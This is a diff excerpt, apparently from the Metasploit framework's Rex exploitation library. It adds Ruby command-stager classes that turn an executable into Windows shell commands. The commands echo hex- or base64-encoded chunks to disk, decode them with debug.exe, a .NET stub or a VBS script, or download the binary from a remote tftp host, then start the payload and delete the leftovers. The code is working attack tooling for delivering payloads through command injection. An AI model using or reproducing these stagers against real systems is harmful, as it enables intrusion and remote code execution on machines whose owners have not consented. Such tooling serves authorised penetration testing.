|
|
98
|
+
decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")
|
|
99
|
+
|
|
100
|
+
# Split it apart by the lines
|
|
101
|
+
decoder.split("\n")
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
|
|
105
|
+
#
|
|
106
|
+
# We override compress commands just to stick in a few extra commands
|
|
107
|
+
# last second..
|
|
108
|
+
#
|
|
109
|
+
def compress_commands(cmds, opts)
|
|
110
|
+
# Convert the debug script to an executable...
|
|
111
|
+
cvt_cmd = ''
|
|
112
|
+
if (@tempdir != '')
|
|
113
|
+
cvt_cmd << "cd %TEMP% && "
|
|
114
|
+
end
|
|
115
|
+
cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
|
|
116
|
+
cmds << cvt_cmd
|
|
117
|
+
|
|
118
|
+
# Convert the encoded payload...
|
|
119
|
+
cmds << "#{@tempdir}#{@var_decoder_com}"
|
|
120
|
+
|
|
121
|
+
# Make it all happen
|
|
122
|
+
cmds << "start #{@tempdir}#{@var_payload_out}"
|
|
123
|
+
|
|
124
|
+
# Clean up after unless requested not to..
|
|
125
|
+
if (not opts[:nodelete])
|
|
126
|
+
cmds << "del #{@tempdir}#{@var_decoder_asm}"
|
|
127
|
+
cmds << "del #{@tempdir}#{@var_decoder_com}"
|
|
128
|
+
cmds << "del #{@tempdir}#{@var_payload_in}"
|
|
129
|
+
# XXX: We won't be able to delete the payload while it is running..
|
|
130
|
+
end
|
|
131
|
+
|
|
132
|
+
super
|
|
133
|
+
end
|
|
134
|
+
|
|
135
|
+
# Windows uses & to concat strings
|
|
136
|
+
def cmd_concat_operator
|
|
137
|
+
" & "
|
|
138
|
+
end
|
|
139
|
+
|
|
140
|
+
end
|
|
141
|
+
end
|
|
142
|
+
end
|
|
@@ -0,0 +1,136 @@
|
|
|
1
|
+
##
|
|
2
|
+
# $Id$
|
|
3
|
+
##
|
|
4
|
+
|
|
5
|
+
require 'rex/text'
|
|
6
|
+
require 'rex/arch'
|
|
7
|
+
require 'msf/core/framework'
|
|
8
|
+
|
|
9
|
+
module Rex
|
|
10
|
+
module Exploitation
|
|
11
|
+
|
|
12
|
+
###
|
|
13
|
+
#
|
|
14
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
|
15
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
|
16
|
+
# be written to disk and executed.
|
|
17
|
+
#
|
|
18
|
+
# This particular version uses debug.exe to write a small .NET binary. That binary will
|
|
19
|
+
# take a hex-ascii file, created via echo >>, and decode it to the final binary.
|
|
20
|
+
#
|
|
21
|
+
# Requires: .NET, debug.exe
|
|
22
|
+
#
|
|
23
|
+
###
|
|
24
|
+
|
|
25
|
+
class CmdStagerDebugWrite < CmdStagerBase
|
|
26
|
+
|
|
27
|
+
def initialize(exe)
|
|
28
|
+
super
|
|
29
|
+
|
|
30
|
+
@var_bypass = Rex::Text.rand_text_alpha(8)
|
|
31
|
+
@var_payload = Rex::Text.rand_text_alpha(8)
|
|
32
|
+
@decoder = nil # filled in later
|
|
33
|
+
end
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
#
|
|
37
|
+
# Override just to set the extra byte count
|
|
38
|
+
#
|
|
39
|
+
def generate_cmds(opts)
|
|
40
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
|
41
|
+
@cmd_start = "echo "
|
|
42
|
+
@cmd_end = ">>#{@tempdir}#{@var_payload}"
|
|
43
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
|
44
|
+
opts.merge!({ :extra => xtra_len })
|
|
45
|
+
super
|
|
46
|
+
end
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
#
|
|
50
|
+
# Simple hex encoding...
|
|
51
|
+
#
|
|
52
|
+
def encode_payload(opts)
|
|
53
|
+
@exe.unpack('H*')[0]
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
#
|
|
58
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
59
|
+
# before / after it.
|
|
60
|
+
#
|
|
61
|
+
def parts_to_commands(parts, opts)
|
|
62
|
+
|
|
63
|
+
cmds = []
|
|
64
|
+
parts.each do |p|
|
|
65
|
+
cmd = ''
|
|
66
|
+
cmd << @cmd_start
|
|
67
|
+
cmd << p
|
|
68
|
+
cmd << @cmd_end
|
|
69
|
+
cmds << cmd
|
|
70
|
+
end
|
|
71
|
+
|
|
72
|
+
cmds
|
|
73
|
+
end
|
|
74
|
+
|
|
75
|
+
|
|
76
|
+
#
|
|
77
|
+
# Generate the commands that will decode the file we just created
|
|
78
|
+
#
|
|
79
|
+
def generate_cmds_decoder(opts)
|
|
80
|
+
|
|
81
|
+
# Allow decoder stub override (needs to input base64 and output bin)
|
|
82
|
+
@decoder = opts[:decoder] if (opts[:decoder])
|
|
83
|
+
|
|
84
|
+
# Read the decoder data file
|
|
85
|
+
f = File.new(@decoder, "rb")
|
|
86
|
+
decoder = f.read(f.stat.size)
|
|
87
|
+
f.close
|
|
88
|
+
|
|
89
|
+
# Replace variables
|
|
90
|
+
decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")
|
|
91
|
+
|
|
92
|
+
# Split it apart by the lines
|
|
93
|
+
decoder.split("\n")
|
|
94
|
+
end
|
|
95
|
+
|
|
96
|
+
|
|
97
|
+
#
|
|
98
|
+
# We override compress commands just to stick in a few extra commands
|
|
99
|
+
# last second..
|
|
100
|
+
#
|
|
101
|
+
def compress_commands(cmds, opts)
|
|
102
|
+
# Convert the debug script to an executable...
|
|
103
|
+
cvt_cmd = ''
|
|
104
|
+
if (@tempdir != '')
|
|
105
|
+
cvt_cmd << "cd %TEMP% && "
|
|
106
|
+
end
|
|
107
|
+
cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
|
|
108
|
+
cmds << cvt_cmd
|
|
109
|
+
|
|
110
|
+
# Rename the resulting binary
|
|
111
|
+
cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"
|
|
112
|
+
|
|
113
|
+
# Converting the encoded payload...
|
|
114
|
+
cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"
|
|
115
|
+
|
|
116
|
+
# Make it all happen
|
|
117
|
+
cmds << "start #{@tempdir}#{@var_payload}.exe"
|
|
118
|
+
|
|
119
|
+
# Clean up after unless requested not to..
|
|
120
|
+
if (not opts[:nodelete])
|
|
121
|
+
cmds << "del #{@tempdir}#{@var_bypass}.exe"
|
|
122
|
+
cmds << "del #{@tempdir}#{@var_payload}"
|
|
123
|
+
# XXX: We won't be able to delete the payload while it is running..
|
|
124
|
+
end
|
|
125
|
+
|
|
126
|
+
super
|
|
127
|
+
end
|
|
128
|
+
|
|
129
|
+
# Windows uses & to concat strings
|
|
130
|
+
def cmd_concat_operator
|
|
131
|
+
" & "
|
|
132
|
+
end
|
|
133
|
+
|
|
134
|
+
end
|
|
135
|
+
end
|
|
136
|
+
end
|
|
@@ -0,0 +1,63 @@
|
|
|
1
|
+
##
|
|
2
|
+
# $Id: tftp.rb 10169 2010-08-27 17:23:47Z jduck $
|
|
3
|
+
##
|
|
4
|
+
|
|
5
|
+
require 'rex/text'
|
|
6
|
+
require 'rex/arch'
|
|
7
|
+
require 'msf/core/framework'
|
|
8
|
+
|
|
9
|
+
module Rex
|
|
10
|
+
module Exploitation
|
|
11
|
+
|
|
12
|
+
###
|
|
13
|
+
#
|
|
14
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
|
15
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
|
16
|
+
# be written to disk and executed.
|
|
17
|
+
#
|
|
18
|
+
# This particular version uses tftp.exe to download a binary from the specified
|
|
19
|
+
# server. The original file is preserve, not encoded at all, and so this version
|
|
20
|
+
# is significantly simpler than other methods.
|
|
21
|
+
#
|
|
22
|
+
# Requires: tftp.exe, outbound udp connectivity to a tftp server
|
|
23
|
+
#
|
|
24
|
+
# Written by Joshua J. Drake
|
|
25
|
+
#
|
|
26
|
+
###
|
|
27
|
+
|
|
28
|
+
class CmdStagerTFTP < CmdStagerBase
|
|
29
|
+
|
|
30
|
+
def initialize(exe)
|
|
31
|
+
super
|
|
32
|
+
|
|
33
|
+
@payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
|
|
34
|
+
end
|
|
35
|
+
|
|
36
|
+
|
|
37
|
+
#
|
|
38
|
+
# We override compress commands just to stick in a few extra commands
|
|
39
|
+
# last second..
|
|
40
|
+
#
|
|
41
|
+
def compress_commands(cmds, opts)
|
|
42
|
+
# Initiate the download
|
|
43
|
+
cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
|
|
44
|
+
|
|
45
|
+
# Make it all happen
|
|
46
|
+
cmds << "start #{@tempdir + @payload_exe}"
|
|
47
|
+
|
|
48
|
+
# Clean up after unless requested not to..
|
|
49
|
+
if (not opts[:nodelete])
|
|
50
|
+
# XXX: We won't be able to delete the payload while it is running..
|
|
51
|
+
end
|
|
52
|
+
|
|
53
|
+
super
|
|
54
|
+
end
|
|
55
|
+
|
|
56
|
+
# NOTE: We don't use a concatenation operator here since we only have a couple commands.
|
|
57
|
+
# There really isn't any need to combine them. Also, the ms01_026 exploit depends on
|
|
58
|
+
# the start command being issued separately so that it can ignore it :)
|
|
59
|
+
|
|
60
|
+
attr_reader :payload_exe
|
|
61
|
+
end
|
|
62
|
+
end
|
|
63
|
+
end
|
|
@@ -0,0 +1,128 @@
|
|
|
1
|
+
##
|
|
2
|
+
# $Id$
|
|
3
|
+
##
|
|
4
|
+
|
|
5
|
+
require 'rex/text'
|
|
6
|
+
require 'rex/arch'
|
|
7
|
+
require 'msf/core/framework'
|
|
8
|
+
|
|
9
|
+
module Rex
|
|
10
|
+
module Exploitation
|
|
11
|
+
|
|
12
|
+
###
|
|
13
|
+
#
|
|
14
|
+
# This class provides the ability to create a sequence of commands from an executable.
|
|
15
|
+
# When this sequence is ran via command injection or a shell, the resulting exe will
|
|
16
|
+
# be written to disk and executed.
|
|
17
|
+
#
|
|
18
|
+
# This particular version uses Windows Scripting (VBS) to base64 decode a file,
|
|
19
|
+
# created via echo >>, and decode it to the final binary.
|
|
20
|
+
#
|
|
21
|
+
# Requires: Windows Scripting
|
|
22
|
+
# Known Issue: errors with non-ascii-native systems
|
|
23
|
+
#
|
|
24
|
+
# Written by bannedit
|
|
25
|
+
#
|
|
26
|
+
###
|
|
27
|
+
|
|
28
|
+
class CmdStagerVBS < CmdStagerBase
|
|
29
|
+
|
|
30
|
+
def initialize(exe)
|
|
31
|
+
super
|
|
32
|
+
|
|
33
|
+
@var_decoder = Rex::Text.rand_text_alpha(5)
|
|
34
|
+
@var_encoded = Rex::Text.rand_text_alpha(5)
|
|
35
|
+
@var_decoded = Rex::Text.rand_text_alpha(5)
|
|
36
|
+
@decoder = nil # filled in later
|
|
37
|
+
end
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
#
|
|
41
|
+
# Override just to set the extra byte count
|
|
42
|
+
#
|
|
43
|
+
def generate_cmds(opts)
|
|
44
|
+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
|
|
45
|
+
@cmd_start = "echo "
|
|
46
|
+
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
|
|
47
|
+
xtra_len = @cmd_start.length + @cmd_end.length + 1
|
|
48
|
+
opts.merge!({ :extra => xtra_len })
|
|
49
|
+
super
|
|
50
|
+
end
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
#
|
|
54
|
+
# Simple base64...
|
|
55
|
+
#
|
|
56
|
+
def encode_payload(opts)
|
|
57
|
+
Rex::Text.encode_base64(@exe)
|
|
58
|
+
end
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
#
|
|
62
|
+
# Combine the parts of the encoded file with the stuff that goes
|
|
63
|
+
# before / after it.
|
|
64
|
+
#
|
|
65
|
+
def parts_to_commands(parts, opts)
|
|
66
|
+
|
|
67
|
+
cmds = []
|
|
68
|
+
parts.each do |p|
|
|
69
|
+
cmd = ''
|
|
70
|
+
cmd << @cmd_start
|
|
71
|
+
cmd << p
|
|
72
|
+
cmd << @cmd_end
|
|
73
|
+
cmds << cmd
|
|
74
|
+
end
|
|
75
|
+
|
|
76
|
+
cmds
|
|
77
|
+
end
|
|
78
|
+
|
|
79
|
+
|
|
80
|
+
#
|
|
81
|
+
# Generate the commands that will decode the file we just created
|
|
82
|
+
#
|
|
83
|
+
def generate_cmds_decoder(opts)
|
|
84
|
+
|
|
85
|
+
# Allow decoder stub override (needs to input base64 and output bin)
|
|
86
|
+
@decoder = opts[:decoder] if (opts[:decoder])
|
|
87
|
+
|
|
88
|
+
# Read the decoder data file
|
|
89
|
+
f = File.new(@decoder, "rb")
|
|
90
|
+
decoder = f.read(f.stat.size)
|
|
91
|
+
f.close
|
|
92
|
+
|
|
93
|
+
# Replace variables
|
|
94
|
+
decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
|
|
95
|
+
decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
|
|
96
|
+
decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
|
|
97
|
+
|
|
98
|
+
# Split it apart by the lines
|
|
99
|
+
decoder.split("\n")
|
|
100
|
+
end
|
|
101
|
+
|
|
102
|
+
|
|
103
|
+
#
|
|
104
|
+
# We override compress commands just to stick in a few extra commands
|
|
105
|
+
# last second..
|
|
106
|
+
#
|
|
107
|
+
def compress_commands(cmds, opts)
|
|
108
|
+
# Make it all happen
|
|
109
|
+
cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
|
|
110
|
+
|
|
111
|
+
# Clean up after unless requested not to..
|
|
112
|
+
if (not opts[:nodelete])
|
|
113
|
+
cmds << "del #{@tempdir}#{@var_decoder}.vbs"
|
|
114
|
+
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
|
115
|
+
# NOTE: We won't be able to delete the exe while it's in use.
|
|
116
|
+
end
|
|
117
|
+
|
|
118
|
+
super
|
|
119
|
+
end
|
|
120
|
+
|
|
121
|
+
# Windows uses & to concat strings
|
|
122
|
+
def cmd_concat_operator
|
|
123
|
+
" & "
|
|
124
|
+
end
|
|
125
|
+
|
|
126
|
+
end
|
|
127
|
+
end
|
|
128
|
+
end
|